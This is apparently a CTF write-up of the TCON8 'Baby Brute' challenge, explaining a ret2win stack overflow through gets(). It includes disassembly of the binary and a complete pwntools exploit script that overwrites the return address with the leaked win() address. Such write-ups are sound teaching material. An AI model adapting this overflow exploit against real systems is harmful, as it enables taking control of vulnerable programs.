[TCON8] [Misc] Baby Brute

Challenge Files: https://github.com/mlesterdampios/tcon8/tree/main/baby_brute

This was easily one of the coolest challenges I encountered during TCON8—and it was right up my alley because I genuinely enjoy solving binary exploitation and pwn problems.

At its core, the challenge is a classic ret2win scenario: the goal is to control execution flow by overflowing a buffer and overwriting the saved return address on the stack. Once we can replace that return address, we can redirect the program to a function of our choosing instead of returning normally.

After running basic checks (like reviewing the binary’s security posture) and looking at the decompiled code, the intended path becomes much clearer. The binary contains a win() function—typically responsible for printing the flag or triggering the success condition—and also includes a vulnerable_function() that reads user input without properly enforcing bounds. In other words, it accepts data into a fixed-size stack buffer but does not validate input length, which makes it vulnerable to a stack-based buffer overflow when the user provides more data than the buffer can hold.

From there, the exploitation flow is straightforward:

  • Identify that vulnerable_function() stores input in a stack buffer.
  • Provide an oversized payload to overflow past the buffer.
  • Overwrite the saved return address with the address of win().
  • When vulnerable_function() finishes and executes its ret, the CPU pops our overwritten return address—causing execution to jump directly into win().

So instead of needing complex ROP chains or multiple stages, the challenge rewards clean fundamentals: understand the stack layout, find the correct offset to the return address, and redirect control flow to win(). Once the return address is overwritten successfully, the program naturally “returns” into our desired location, and the win condition is triggered.

main()

.text:080492F9 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:080492F9                 public main
.text:080492F9 main            proc near               ; DATA XREF: _start+20↑o
.text:080492F9
.text:080492F9 argc            = dword ptr  8
.text:080492F9 argv            = dword ptr  0Ch
.text:080492F9 envp            = dword ptr  10h
.text:080492F9
.text:080492F9 ; __unwind {
.text:080492F9                 lea     ecx, [esp+4]
.text:080492FD                 and     esp, 0FFFFFFF0h
.text:08049300                 push    dword ptr [ecx-4]
.text:08049303                 push    ebp
.text:08049304                 mov     ebp, esp
.text:08049306                 push    ebx
.text:08049307                 push    ecx
.text:08049308                 call    __x86_get_pc_thunk_bx
.text:0804930D                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08049313                 mov     eax, ds:(stdin_ptr - 804C000h)[ebx]
.text:08049319                 mov     eax, [eax]
.text:0804931B                 push    0               ; n
.text:0804931D                 push    2               ; modes
.text:0804931F                 push    0               ; buf
.text:08049321                 push    eax             ; stream
.text:08049322                 call    _setvbuf
.text:08049327                 add     esp, 10h
.text:0804932A                 mov     eax, ds:(stdout_ptr - 804C000h)[ebx]
.text:08049330                 mov     eax, [eax]
.text:08049332                 push    0               ; n
.text:08049334                 push    2               ; modes
.text:08049336                 push    0               ; buf
.text:08049338                 push    eax             ; stream
.text:08049339                 call    _setvbuf
.text:0804933E                 add     esp, 10h
.text:08049341                 sub     esp, 0Ch
.text:08049344                 lea     eax, (byte_804A098 - 804C000h)[ebx]
.text:0804934A                 push    eax             ; s
.text:0804934B                 call    _puts
.text:08049350                 add     esp, 10h
.text:08049353                 sub     esp, 0Ch
.text:08049356                 lea     eax, (byte_804A114 - 804C000h)[ebx]
.text:0804935C                 push    eax             ; s
.text:0804935D                 call    _puts
.text:08049362                 add     esp, 10h
.text:08049365                 sub     esp, 0Ch
.text:08049368                 lea     eax, (byte_804A144 - 804C000h)[ebx]
.text:0804936E                 push    eax             ; s
.text:0804936F                 call    _puts
.text:08049374                 add     esp, 10h
.text:08049377                 sub     esp, 0Ch
.text:0804937A                 lea     eax, (byte_804A174 - 804C000h)[ebx]
.text:08049380                 push    eax             ; s
.text:08049381                 call    _puts
.text:08049386                 add     esp, 10h
.text:08049389                 sub     esp, 8
.text:0804938C                 lea     eax, (win - 804C000h)[ebx]
.text:08049392                 push    eax
.text:08049393                 lea     eax, (aHintTheWinFunc - 804C000h)[ebx] ; "Hint: The win() function is at address "...
.text:08049399                 push    eax             ; format
.text:0804939A                 call    _printf
.text:0804939F                 add     esp, 10h
.text:080493A2                 call    vulnerable_function
.text:080493A7                 sub     esp, 0Ch
.text:080493AA                 lea     eax, (aGoodbye - 804C000h)[ebx] ; "\nGoodbye!"
.text:080493B0                 push    eax             ; s
.text:080493B1                 call    _puts
.text:080493B6                 add     esp, 10h
.text:080493B9                 mov     eax, 0
.text:080493BE                 lea     esp, [ebp-8]
.text:080493C1                 pop     ecx
.text:080493C2                 pop     ebx
.text:080493C3                 pop     ebp
.text:080493C4                 lea     esp, [ecx-4]
.text:080493C7                 retn
.text:080493C7 ; } // starts at 80492F9
.text:080493C7 main            endp
.text:080493C7
.text:080493C7 _text           ends

win()

.text:080491F6 ; int win()
.text:080491F6                 public win
.text:080491F6 win             proc near               ; DATA XREF: main+93↓o
.text:080491F6
.text:080491F6 s               = byte ptr -4Ch
.text:080491F6 stream          = dword ptr -0Ch
.text:080491F6 var_4           = dword ptr -4
.text:080491F6
.text:080491F6 ; __unwind {
.text:080491F6                 push    ebp
.text:080491F7                 mov     ebp, esp
.text:080491F9                 push    ebx
.text:080491FA                 sub     esp, 54h
.text:080491FD                 call    __x86_get_pc_thunk_bx
.text:08049202                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08049208                 sub     esp, 8
.text:0804920B                 lea     eax, (aR - 804C000h)[ebx] ; "r"
.text:08049211                 push    eax             ; modes
.text:08049212                 lea     eax, (aFlagTxt - 804C000h)[ebx] ; "/flag.txt"
.text:08049218                 push    eax             ; filename
.text:08049219                 call    _fopen
.text:0804921E                 add     esp, 10h
.text:08049221                 mov     [ebp+stream], eax
.text:08049224                 cmp     [ebp+stream], 0
.text:08049228                 jnz     short loc_8049246
.text:0804922A                 sub     esp, 0Ch
.text:0804922D                 lea     eax, (aFlagFileNotFou - 804C000h)[ebx] ; "Flag file not found! Contact admin."
.text:08049233                 push    eax             ; s
.text:08049234                 call    _puts
.text:08049239                 add     esp, 10h
.text:0804923C                 sub     esp, 0Ch
.text:0804923F                 push    1               ; status
.text:08049241                 call    _exit
.text:08049246 ; ---------------------------------------------------------------------------
.text:08049246
.text:08049246 loc_8049246:                            ; CODE XREF: win+32↑j
.text:08049246                 sub     esp, 4
.text:08049249                 push    [ebp+stream]    ; stream
.text:0804924C                 push    40h ; '@'       ; n
.text:0804924E                 lea     eax, [ebp+s]
.text:08049251                 push    eax             ; s
.text:08049252                 call    _fgets
.text:08049257                 add     esp, 10h
.text:0804925A                 sub     esp, 0Ch
.text:0804925D                 lea     eax, (asc_804A038 - 804C000h)[ebx] ; "\n"
.text:08049263                 push    eax             ; s
.text:08049264                 call    _puts
.text:08049269                 add     esp, 10h
.text:0804926C                 sub     esp, 8
.text:0804926F                 lea     eax, [ebp+s]
.text:08049272                 push    eax
.text:08049273                 lea     eax, (aFlagS - 804C000h)[ebx] ; "Flag: %s\n"
.text:08049279                 push    eax             ; format
.text:0804927A                 call    _printf
.text:0804927F                 add     esp, 10h
.text:08049282                 sub     esp, 0Ch
.text:08049285                 push    [ebp+stream]    ; stream
.text:08049288                 call    _fclose
.text:0804928D                 add     esp, 10h
.text:08049290                 nop
.text:08049291                 mov     ebx, [ebp+var_4]
.text:08049294                 leave
.text:08049295                 retn
.text:08049295 ; } // starts at 80491F6
.text:08049295 win             endp

vulnerable_function()

.text:08049296 ; int vulnerable_function()
.text:08049296                 public vulnerable_function
.text:08049296 vulnerable_function proc near           ; CODE XREF: main+A9↓p
.text:08049296
.text:08049296 s               = byte ptr -48h
.text:08049296 var_4           = dword ptr -4
.text:08049296
.text:08049296 ; __unwind {
.text:08049296                 push    ebp
.text:08049297                 mov     ebp, esp
.text:08049299                 push    ebx
.text:0804929A                 sub     esp, 44h
.text:0804929D                 call    __x86_get_pc_thunk_bx
.text:080492A2                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080492A8                 sub     esp, 0Ch
.text:080492AB                 lea     eax, (aEnterYourName - 804C000h)[ebx] ; "Enter your name: "
.text:080492B1                 push    eax             ; format
.text:080492B2                 call    _printf
.text:080492B7                 add     esp, 10h
.text:080492BA                 mov     eax, ds:(stdout_ptr - 804C000h)[ebx]
.text:080492C0                 mov     eax, [eax]
.text:080492C2                 sub     esp, 0Ch
.text:080492C5                 push    eax             ; stream
.text:080492C6                 call    _fflush
.text:080492CB                 add     esp, 10h
.text:080492CE                 sub     esp, 0Ch
.text:080492D1                 lea     eax, [ebp+s]
.text:080492D4                 push    eax             ; s
.text:080492D5                 call    _gets
.text:080492DA                 add     esp, 10h
.text:080492DD                 sub     esp, 8
.text:080492E0                 lea     eax, [ebp+s]
.text:080492E3                 push    eax
.text:080492E4                 lea     eax, (aHelloS - 804C000h)[ebx] ; "Hello, %s!\n"
.text:080492EA                 push    eax             ; format
.text:080492EB                 call    _printf
.text:080492F0                 add     esp, 10h
.text:080492F3                 nop
.text:080492F4                 mov     ebx, [ebp+var_4]
.text:080492F7                 leave
.text:080492F8                 retn
.text:080492F8 ; } // starts at 8049296
.text:080492F8 vulnerable_function endp

Solution

#!/usr/bin/env python3
from pwn import *
import re

gs = '''
continue
'''

def start(elf):
    #if args.REMOTE:
        return remote("127.0.0.1", 1337)
    #if args.GDB:
        #return gdb.debug([elf.path], gdbscript=gs)
    #else:
        #return process([elf.path])

def newRecvall(p, timeout=1):
    data = b""
    while True:
        try:
            chunk = p.recv(timeout=timeout)
            if not chunk:
                break
            data += chunk
        except EOFError:
            break
    log.info(hexdump(data))
    return data

def newSend(p, send, newline=True):
    if newline:
        log.info(b'SENDING (via sendline): ' + send)
        p.sendline(send)
    else:
        log.info(b'SENDING: ' + send)
        p.send(send)
    log.info(hexdump(send))

def newRecvuntilAndSend(p, until, send, newline=True, timeout=1, error=True):
    data = b""
    while True:
        try:
            chunk = p.recv(timeout=timeout)
            if not chunk:
                break
            data += chunk
            if until in data:
                break
        except EOFError:
            break
    if until not in data and error:
        log.info(b'Expected: ')
        log.info(hexdump(until))
        log.info(b'Received: ')
        log.info(hexdump(data))
        log.error(b'Expected `until` not found in received data')
    log.info(hexdump(data))
    newSend(p, send, newline)

def attempt_exploit():
    p = None
    try:
        elf = ELF("./pwn1")
        context.binary = elf
        context.arch = "i386"
        context.endian = "little"

        p = start(elf)

        # === Read banner and extract win() address from it ===
        banner_and_prompt = p.recvuntil(b"Enter your name:")
        log.info(b"banner_and_prompt:")
        log.info(hexdump(banner_and_prompt))

        m = re.search(rb"win\(\)\s*function\s*is\s*at\s*address\s*(0x[0-9a-fA-F]+)", banner_and_prompt)
        if not m:
            # fallback: grab the first hex address-looking token
            m = re.search(rb"(0x[0-9a-fA-F]+)", banner_and_prompt)
        if not m:
            log.error("Could not parse win() address from banner output")

        win_addr = int(m.group(1), 16)
        log.info(f"win_addr = {hex(win_addr)}")

        offset = 76
        log.info(f"offset = {offset}")

        payload = b"A" * offset + p32(win_addr)

        # === Send overflow payload ===
        newSend(p, payload, newline=True)

        # === Read whatever win() prints (flag/shell/etc.) ===
        resp = newRecvall(p, timeout=2)
        if resp:
            p.interactive()

        p.close()

    except Exception as e:
        log.info(f"Error: {e!r}")
        try:
            if p is not None:
                p.close()
        except Exception:
            pass

attempt_exploit()

Leave a Reply

Your email address will not be published. Required fields are marked *